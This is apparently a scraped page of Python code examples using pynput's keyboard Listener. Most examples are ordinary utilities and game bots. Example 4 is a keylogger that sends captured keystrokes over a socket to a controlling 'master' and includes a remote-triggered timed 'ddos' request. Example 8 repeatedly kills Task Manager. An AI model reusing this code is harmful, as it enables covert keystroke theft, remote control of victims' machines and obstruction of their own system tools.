Exemplo n.º 1
0
def get_button_str():
    global listener
    listener = Listener(on_press=on_press)
    listener.start()
    while listener.is_alive():
        sleep(0.1)
    return getstr(btn)
Exemplo n.º 2
0
def main():
    global pause, nxt, vol, exit, key_listener
    try:
        pause = ''
        nxt = ''
        vol = ''
        exit = ''
        tracks = []
        path = os.getcwd()
        re_track = re.compile(r'^.+\.(?:mp3|mp4|wav)')

        for dirpath, dirnames, filenames in os.walk(path + '\\tracks'):
            [tracks.append(file) for file in filenames if re_track.match(file)]

        display()
        key_listener = Listener(on_press=on_press)
        player = Thread(target=media_player, args=(tracks, path))
        key_listener.start()
        player.start()
        key_listener.join()
        player.join()

    except KeyboardInterrupt:
        print('Program exiting ..')
        if key_listener.is_alive():
            key_listener.stop()
Exemplo n.º 3
0
def start(bbox, allowed_error=5, tesspath=""):
    """Takes in bounding box coordinates and begins watching
    that section of the screen for the text "Fishing Bobber splashes",
    double clicking the right mouse button when it sees it to reel in
    the fish and recast the line. Press enter to quit.

    Arguments:
        bbox (list)
            A list of 4 numbers (x1, y1, x2, y2) obtained from the screengrabber
            program, where (x1, y1) is the top left corner of the bounding box
            and (x2, y2) is the lower right corner
        allowed_error (`int`, optional)
            The margin of error (measured in Levenshtein distance) allowed for
            text matching, i.e. 'Fishing Gobber splashes' has an error of 1
        tesspath (`str`, optional)
            The path to your Tesseract installation, leave blank to use default
    """
    if tesspath != "":
        pt.pytesseract.tesseract_path = tesspath

    mouse = Controller()
    listener = Listener(on_press=_keyDown)
    listener.start()

    timeout = 45  # Fish always appears within 45 seconds, if we wait longer than this then recast the line
    cast_time = time.monotonic()
    while listener.is_alive():
        # Grab portion of screen defined in config file & send it to tesseract
        screen = ig.grab(bbox=bbox)
        screen_text = pt.image_to_string(screen)
        if match(screen_text, threshold=allowed_error
                 ) or time.monotonic() - cast_time > timeout:
            # Either fish was found or timeout was exceeded, reel in the line and cast it again
            mouse.click(Button.right, 2)
            cast_time = time.monotonic()
        time.sleep(0.25)

    listener.join()
Exemplo n.º 4
0
class Action(Connexion):

    def __init__(self, chemin, listener):
        #assigne listener à la méthode appuie
        self.chemin = chemin
        self.listener = Listener(on_press=self.appuie)


    def start_log(self):
        try:
            #met les informations de base concernant le logger
            #filename, spécifie le nom du fichier
            #format, impose les infos de base qui se trouveront dans le logger, içi la date avec l'heure puis les infos sur les entrées sur le clavier 
            logging.basicConfig(filename = (chemin + "\\keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
            #listener.start va commencer a écouter grace a la methode appuie qui est assigné à la varibale listener
            self.listener.start()
        except FileNotFoundError:
            print("erreur chemin inexistant")
    #Création d'une fonction appuie(), qui vas mettre en string touts les appuie sur le clavier
    def appuie(self, key):
        logging.info(str(key))
    
    def stop_log(self, carte_reseau):
        if  not self.listener.is_alive():
            carte_reseau.send("Logger non lancé".encode("utf-8"))
            print("erreur")
        else:
            #listener.start va arreter d'écouter en fermant la methode appuie qui est assigné à la varibale listener
            self.listener.stop()
            carte_reseau.send("Logger arreté".encode("utf-8"))
            print("logger arreté")
            
        
    def get_log(self, carte_reseau):
        logger = open("D:\\keyLog.txt", "r")
        #lis le fichier ligne à ligne
        fichier = logger.readlines()
        
        #boucle qui permet de compter le nombre de ligne
        nb_lines = 0
        for line in logger.readlines():
            nb_lines+=1
        #on reçoit le nombre de ligne que le maitre veut récuperer
        lines = carte_reseau.recv(1024).decode("utf-8")
        #si tu sais elisa ce que ça fait tu peut le mettre ?
        start = nb_lines-1-int(lines)
        message_get_log = str(fichier[start:])
    
        carte_reseau.send(message_get_log.encode("utf-8"))

    def ddos(self, carte_reseau):
        #définir le format de la date quand on la rentrera dans la variable
        date = carte_reseau.recv(1024).decode("utf-8")
        print(date)
        format = "%Y-%m-%d %H:%M"
        #on récupère la date et l'heure actuelle et on la formate comme voulu ci dessus
        now = datetime.strftime(datetime.now(), format)
        print(now)

        ip = carte_reseau.recv(1024).decode("utf-8")
        url = "http://" + ip
        #on compare la date et l'heure récupérées à celle souhaitée pour le ddos
        while (now != date):
            print("En attente ...")
            time.sleep(10)
            now = datetime.strftime(datetime.now(), format)

        requete = requests.get(url)
        print("Requête : ", requete.text)
Exemplo n.º 5
0
class KeyboardWatcher:
    def __init__(self, key_handlers: Sequence, verbose: bool = False):
        self._pool = KeyPool()
        self._verbose = verbose

        # sort them in order to give combinations precedence
        key_handlers = sorted(
            key_handlers,
            key=lambda x: len(x.trigger),
            reverse=True,
        )
        self._handlers = {handler.trigger: handler for handler in key_handlers}

        self._listener = None

        target = partial(infinite_handle_cycle,
                         active_keys=self.pressed,
                         handlers=self._handlers,
                         handle_method_name='press')
        hold_thread = Thread(target=target, daemon=True)
        hold_thread.start()

        self._listener = Listener(
            on_press=self.handle_press,
            on_release=self.handle_release,
            # suppress=True,
        )

    @property
    def pressed(self):
        return self._pool.pressed

    @property
    def released(self):
        return self._pool.released

    @staticmethod
    def _get_pressed_key(key: KeyCode):
        if isinstance(key, KeyCode):
            key_name = key.char
        elif isinstance(key, Key):
            key_name = key.name
        else:
            raise ValueError

        try:
            key_name = key_name.lower()
        except AttributeError:
            return None

        return key_name

    def handle_press(self, key: KeyCode):
        key_name = self._get_pressed_key(key)

        if (key_name and key_name not in self.pressed):
            self.pressed.add(key_name)

        if self._verbose:
            print(f'pressed: {self.pressed}')

    def handle_release(self, key: KeyCode):
        key_name = self._get_pressed_key(key)

        if key_name in self.pressed:
            self.pressed.remove(key_name)
            self.released.add(key_name)

            _handle_cycle(self.released, self._handlers, 'release')
            self.released.remove(key_name)

        if self._verbose:
            print(f'released: {self.pressed}')

    def join(self):
        while self._listener.is_alive():
            self._listener.join(0.1)

    def __enter__(self):
        self._listener.start()
        self._listener.wait()
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self._listener.stop()

    def start(self):
        self._listener.start()
        while True:
            time.sleep(0.1)
Exemplo n.º 6
0
class cmdUI:

	UPDATE_TIME = 1

	def __init__(self):
		self.my_addr = None
		self.conns = {}
		self.key_listener = Listener(on_press=self.on_press)
		self.from_keyboard = None
		self.key_buff = ''

	def run(self):
		self.my_addr = input('Name:')

		client = Client(self.my_addr, 'dummy password')

		client.accept_callback(self.update_cunnections)

		self.menu_layout()

	def menu_layout(self):
		self.key_listener.start()
		while self.from_keyboard != 'q':
			self.clear_screen()
			print(self.from_keyboard)
			print(self.key_buff)
			for i, name in enumerate(self.conns):
				print(f'{i}:\t{name}\t{self.conns[name]["unread"]}')
				if self.from_keyboard == i:
					print(f'move to conversation number {i}, {name}')
					time.sleep(5)
			self.from_keyboard = None
			time.sleep(self.UPDATE_TIME)
		self.do_exit()

	def update_cunnections(self, conn):
		conn_dict = {
			'conn': conn,
			'addr': conn.target_address,
			'msg': [],
			'unread': 0
		}
		self.conns[conn.target_address] = conn_dict
		conn.receive_callback(self.update_receive)

	def update_receive(self, conn, msg):
		if msg:
			msg_dict = {
				'from': conn.target_address,
				'data': msg
			}
			conn_dict = self.conns[conn.target_address]
			conn_dict['msg'] = msg_dict
			conn_dict['unread'] += 1
		else:
			del self.conns[conn.target_address]

	@staticmethod
	def clear_screen():

		# for windows
		if os.name == 'nt':
			_ = os.system('cls')

		# for mac and linux(here, os.name is 'posix')
		else:
			_ = os.system('clear')

	def on_press(self, key):

		if key == Key.enter:
			print(self.key_buff)
			if self.key_buff:
				try:
					num = int(self.key_buff)
					if len(self.conns) > num:
						self.from_keyboard = num
				except:
					pass
			self.key_buff = ''

		else:
			try:
				if key.char == 'q':
					self.from_keyboard = 'q'
					return

				self.key_buff += key.char
			except:
				self.key_buff = ''

	def do_exit(self):
		for conn in self.conns:
			conn.disconnect()
		if self.key_listener.is_alive():
			self.key_listener.stop()
		print('exit UI')
Exemplo n.º 7
0
def game(genome, config):

    global moves

    net = neat.nn.FeedForwardNetwork.create(genome, config)

    driver = webdriver.Chrome()
    driver.implicitly_wait(10)
    driver.set_window_size(240, 320)
    driver.get("chrome://dino/")
    keyboard = Controller()
    keyboard.press(Key.space)

    time.sleep(2)

    global object_coord
    global dino_coord
    global delay
    max_speed = 100
    velocity_coeff = 1
    speed = 0
    delay = time.time()
    sec = time.time()

    object_coord = (0, 0)
    start_time = time.time()

    while True:

        listener = Listener(on_press=on_press, on_release=on_release)
        listener.start()

        screen = np.array(ImageGrab.grab(bbox=(25, 135, 490, 320)))
        screen_gray = cv2.cvtColor(screen, cv2.COLOR_BGR2GRAY)

        for dino in dino_traces:
            res_dino = cv2.matchTemplate(screen_gray, dino,
                                         cv2.TM_CCOEFF_NORMED)
            loc_dino = np.where(res_dino >= match_threshold)
            for dino_tr in zip(*loc_dino[::-1]):
                dino_coord = dino_tr[0], dino_tr[1]

        for object in object_traces:
            res_object = cv2.matchTemplate(screen_gray, object,
                                           cv2.TM_CCOEFF_NORMED)
            loc_object = np.where(res_object >= match_threshold)
            for object_tr in zip(*loc_object[::-1]):
                object_coord = object_tr[0], object_tr[1]

        if time.time() - sec >= 1 and time.time() - start_time < max_speed:
            speed += velocity_coeff
            sec = time.time()

        input = (object_coord[0] - dino_coord[0], dino_coord[1],
                 object_coord[1], speed)

        distance = int(round(time.time() - start_time)) * 10

        if driver.execute_script("return Runner.instance_.crashed") == True:
            if listener.is_alive() == True:
                listener.stop()
            driver.close()
            driver.quit()
            actions = moves
            print 'Distance: ' + str(distance)
            print 'Actions: ' + str(actions)
            moves = 0
            return distance  # - actions

        output = net.activate(input)
        print output[0]

        if output[0] > 0.9:
            keyboard.press(Key.space)
            delay = time.time()
        elif output[0] < 0.1:
            keyboard.press(Key.down)
            delay = time.time()
        else:
            pass
Exemplo n.º 8
0
import psutil
from pynput.keyboard import Key, Listener
from time import sleep


def on_press(key):
    return True


def on_release(key):
    if key == Key.alt_r:
        return False


listener = Listener(on_press=on_press, on_release=on_release)
listener.start()
while (listener.is_alive()):
    for proc in psutil.process_iter():
        if any(procstr in proc.name() for procstr in\
            ['Taskmgr']):
            print('Killing Taskmanager')
            proc.kill()
Exemplo n.º 9
0
import pynput
import time
import sys

pyautogui.FAILSAFE = True

from pynput.keyboard import Key, Listener


def on_release(key):
    if key == Key.esc:  # checks if esc key was pressed
        #print("funca")                             # print to check listener works
        return False  # to kills listener


if __name__ == '__main__':
    listener = Listener(on_release=on_release)
    listener.start()

    while True:
        pyautogui.moveTo(
            100, 100,
            duration=0.25)  # sets cursor at the upper left side of the screen
        pyautogui.moveTo(200, 100,
                         duration=0.25)  # moves the cursor 100 px to the right
        time.sleep(3)  # sets the time between movement loop

        if not listener.is_alive():  # checks if listener is working
            break  # kills the while loop if esc was pressed

#--------------- P G P dev -------------------------------------------------